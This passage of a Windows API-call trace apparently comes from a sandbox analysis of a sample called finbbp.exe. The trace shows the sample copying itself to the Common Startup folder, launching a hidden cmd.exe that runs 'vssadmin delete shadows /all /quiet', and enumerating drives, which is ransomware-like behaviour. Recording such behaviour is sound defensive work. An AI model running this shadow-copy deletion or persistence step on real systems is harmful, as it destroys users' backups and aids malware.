RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x527718, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0 [0089.083] RegCloseKey (hKey=0x244) returned 0x0 [0089.083] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f6048 | out: hHeap=0x4b0000) returned 1 [0089.083] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0089.083] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0089.083] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f5f40 | out: hHeap=0x4b0000) returned 1 [0089.083] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe", lpDst=0x517710, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe") returned 0x48 [0089.083] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x527718 | out: hHeap=0x4b0000) returned 1 [0089.083] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x517710 | out: hHeap=0x4b0000) returned 1 [0089.132] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x236c020 [0089.135] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4f52d0 [0089.135] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f52d0, Size=0x20) returned 0x4eeea8 [0089.135] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4f53d8 [0089.135] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f53d8, Size=0x20) returned 0x4eef48 [0089.135] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000 [0089.135] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0089.135] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0089.135] lstrlenW (lpString="kernel32.dll") returned 12 [0089.135] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eeea8 | out: hHeap=0x4b0000) returned 1 [0089.135] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0089.135] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eef48 | out: hHeap=0x4b0000) returned 1 [0089.135] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\finbbp.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\finbbp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0089.136] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\finbbp.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0089.138] ReadFile (in: hFile=0x244, lpBuffer=0x236c020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x236c020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0089.153] WriteFile (in: hFile=0x248, lpBuffer=0x236c020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x236c020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0089.157] ReadFile (in: hFile=0x244, lpBuffer=0x236c020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x236c020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0089.157] CloseHandle (hObject=0x248) returned 1 [0089.160] CloseHandle (hObject=0x244) returned 1 [0089.160] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4f5348 [0089.160] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f5348, Size=0x20) returned 0x4eed68 [0089.160] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4f5228 [0089.160] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f5228, Size=0x20) returned 0x4eef48 [0089.160] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000 [0089.161] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0089.161] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0089.161] lstrlenW (lpString="kernel32.dll") returned 12 [0089.161] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eef48 | out: hHeap=0x4b0000) returned 1 [0089.161] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0089.161] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eed68 | out: hHeap=0x4b0000) returned 1 [0089.161] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x236c020 | out: hHeap=0x4b0000) returned 1 [0089.184] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f7700 | out: hHeap=0x4b0000) returned 1 [0089.184] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x507708 | out: hHeap=0x4b0000) returned 1 [0089.186] lstrlenW (lpString="%windir%\\System32") returned 17 [0089.186] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4ca390 | out: hHeap=0x4b0000) returned 1 [0089.186] lstrlenW (lpString="%appdata%") returned 9 [0089.186] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eedb8 | out: hHeap=0x4b0000) returned 1 [0089.186] lstrlenW (lpString="%sh(Startup)%") returned 13 [0089.186] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eef20 | out: hHeap=0x4b0000) returned 1 [0089.186] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0089.186] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4ca660 | out: hHeap=0x4b0000) returned 1 [0089.186] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4f5420 [0089.186] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f5420, Size=0x20) returned 0x4eef20 [0089.186] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4eef20, Size=0x40) returned 0x4ca738 [0089.186] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ca738, Size=0x80) returned 0x4f46b0 [0089.186] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4f5378 [0089.187] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f5378, Size=0x20) returned 0x4eef20 [0089.187] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1fffc) returned 0x4f7700 [0089.188] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x517708 [0089.188] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x527710 [0089.188] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4f52d0 [0089.188] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f52d0, Size=0x20) returned 0x4eed40 [0089.188] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4eed40, Size=0x40) returned 0x4ca078 [0089.188] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ca078, Size=0x80) returned 0x4f4c00 [0089.188] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f4c00, Size=0x100) returned 0x4f5f40 [0089.188] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0089.188] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f5f40 | out: hHeap=0x4b0000) returned 1 [0089.188] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x517708, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0089.188] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x527710 | out: hHeap=0x4b0000) returned 1 [0089.189] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x517708 | out: hHeap=0x4b0000) returned 1 [0089.190] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1 [0089.191] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1 [0089.191] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1 [0089.191] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1 [0089.191] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0x1378, dwThreadId=0x137c)) returned 1 [0089.817] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0089.817] WriteFile (in: hFile=0x24c, lpBuffer=0x4f46b0*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x4f46b0*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0089.817] CloseHandle (hObject=0x25c) returned 1 [0089.817] CloseHandle (hObject=0x258) returned 1 [0089.817] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f7700 | out: hHeap=0x4b0000) returned 1 [0089.817] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0089.817] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f46b0 | out: hHeap=0x4b0000) returned 1 [0089.817] lstrlenW (lpString="%comspec%") returned 9 [0089.817] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eef20 | out: hHeap=0x4b0000) returned 1 [0089.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258 [0089.818] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4f52d0 [0089.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x4f52d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c [0089.819] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4f3460 [0089.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x4f3460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264 [0089.820] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4f5348 [0089.820] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f5348, Size=0x20) returned 0x4eee58 [0089.820] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4eee58, Size=0x40) returned 0x4ca540 [0089.820] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0089.820] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xd0) returned 0x4cb1e0 [0089.820] GetLogicalDrives () returned 0x4 [0089.820] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10014) returned 0x4f7700 [0089.820] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4f5348 [0089.820] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f5348, Size=0x20) returned 0x4eed18 [0089.820] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4eed18, Size=0x40) returned 0x4ca108 [0089.820] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ca108, Size=0x80) returned 0x4f4518 [0089.820] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f4518, Size=0x100) returned 0x4f5fd0 [0089.820] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f5fd0, Size=0x200) returned 0x4f5fd0 [0089.820] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f5fd0, Size=0x400) returned 0x4f5fd0 [0089.820] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f5fd0, Size=0x800) returned 0x507720 [0089.820] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x507720, Size=0x1000) returned 0x507720 [0089.820] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x508728 [0089.820] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4f5348 [0089.820] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4f5168 [0089.820] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4f3490 [0089.820] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4f51f8 [0089.821] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4f34e0 [0089.821] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4f53d8 [0089.821] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f34e0, Size=0x8) returned 0x4f34c0 [0089.821] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4f5360 [0089.821] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f34c0, Size=0x10) returned 0x4f5258 [0089.821] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4f5378 [0089.821] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4f5228 [0089.821] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f5258, Size=0x20) returned 0x4eef20 [0089.821] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4f5210 [0089.821] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4f3530 [0089.821] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4f53f0 [0089.821] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4f5390 [0089.821] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4eef20, Size=0x40) returned 0x4ca150 [0089.821] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4f53c0 [0089.821] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4f5240 [0089.821] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4f5420 [0089.821] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4f5438 [0089.821] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4f51c8 [0089.821] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4f5450 [0089.821] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4f3520 [0089.821] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4f5180 [0089.821] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ca150, Size=0x80) returned 0x4f46b0 [0089.821] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4f5258 [0089.821] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4f5198 [0089.821] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4f5270 [0089.821] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4f51b0 [0089.821] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4f5480 [0089.821] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4f5468 [0089.821] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4f54f8 [0089.821] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4f33b0 [0089.822] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4f5498 [0089.822] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4f5510 [0089.822] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4f54e0 [0089.822] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4f5528 [0089.822] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4f54b0 [0089.822] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4f54c8 [0089.822] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x518a30 [0089.822] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518808 [0089.822] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f46b0, Size=0x100) returned 0x4f5fd0 [0089.822] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5187c0 [0089.822] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518910 [0089.822] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518850 [0089.822] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x518a48 [0089.822] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518820 [0089.822] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518958 [0089.822] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4f3540 [0089.822] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5188e0 [0089.822] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518790 [0089.822] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518760 [0089.822] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x4f3470 [0089.822] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518970 [0089.822] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518898 [0089.822] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4f34f0 [0089.822] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518928 [0089.822] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5188f8 [0089.822] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x5187d8 [0089.822] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5187f0 [0089.822] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518838 [0089.822] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518868 [0089.822] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x5188b0 [0089.823] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518778 [0089.823] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x518880 [0089.823] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518a00 [0089.823] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518a18 [0089.823] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5187a8 [0089.823] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518940 [0089.823] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4f34a0 [0089.823] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5189b8 [0089.823] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518988 [0089.823] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5189d0 [0089.823] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5188c8 [0089.823] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f5fd0, Size=0x200) returned 0x4f5fd0 [0089.823] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5189a0 [0089.823] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4f3480 [0089.823] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5189e8 [0089.823] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518c70 [0089.823] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518be0 [0089.823] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518ac0 [0089.823] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518d00 [0089.823] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518c10 [0089.823] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518a90 [0089.823] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518c88 [0089.823] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518cd0 [0089.823] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x518c28 [0089.823] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x518b08 [0089.823] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518b80 [0089.823] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518c40 [0089.823] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x518c58 [0089.823] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x518ca0 [0089.823] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518a78 [0089.823] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x518b98 [0089.824] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x518d30 [0089.824] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518aa8 [0089.824] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518cb8 [0089.824] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518ad8 [0089.824] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4f3390 [0089.824] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518d18 [0089.824] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518b38 [0089.824] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518af0 [0089.824] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4f33a0 [0089.824] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518b50 [0089.824] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x518bb0 [0089.824] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518ce8 [0089.824] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518d48 [0089.824] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518bc8 [0089.824] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518b68 [0089.824] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518a60 [0089.824] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518b20 [0089.824] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x518bf8 [0089.824] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x518e80 [0089.824] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518d60 [0089.824] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518df0 [0089.824] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518ee0 [0089.824] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x518e08 [0089.824] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518e98 [0089.824] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518dd8 [0089.824] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518ec8 [0089.824] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518e20 [0089.824] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518ef8 [0089.824] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518f10 [0089.824] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518e38 [0089.824] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4f34b0 [0089.825] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x4f33c0 [0089.825] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518e68 [0089.825] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518eb0 [0089.825] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518e50 [0089.825] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518d90 [0089.825] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518d78 [0089.825] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x518da8 [0089.825] 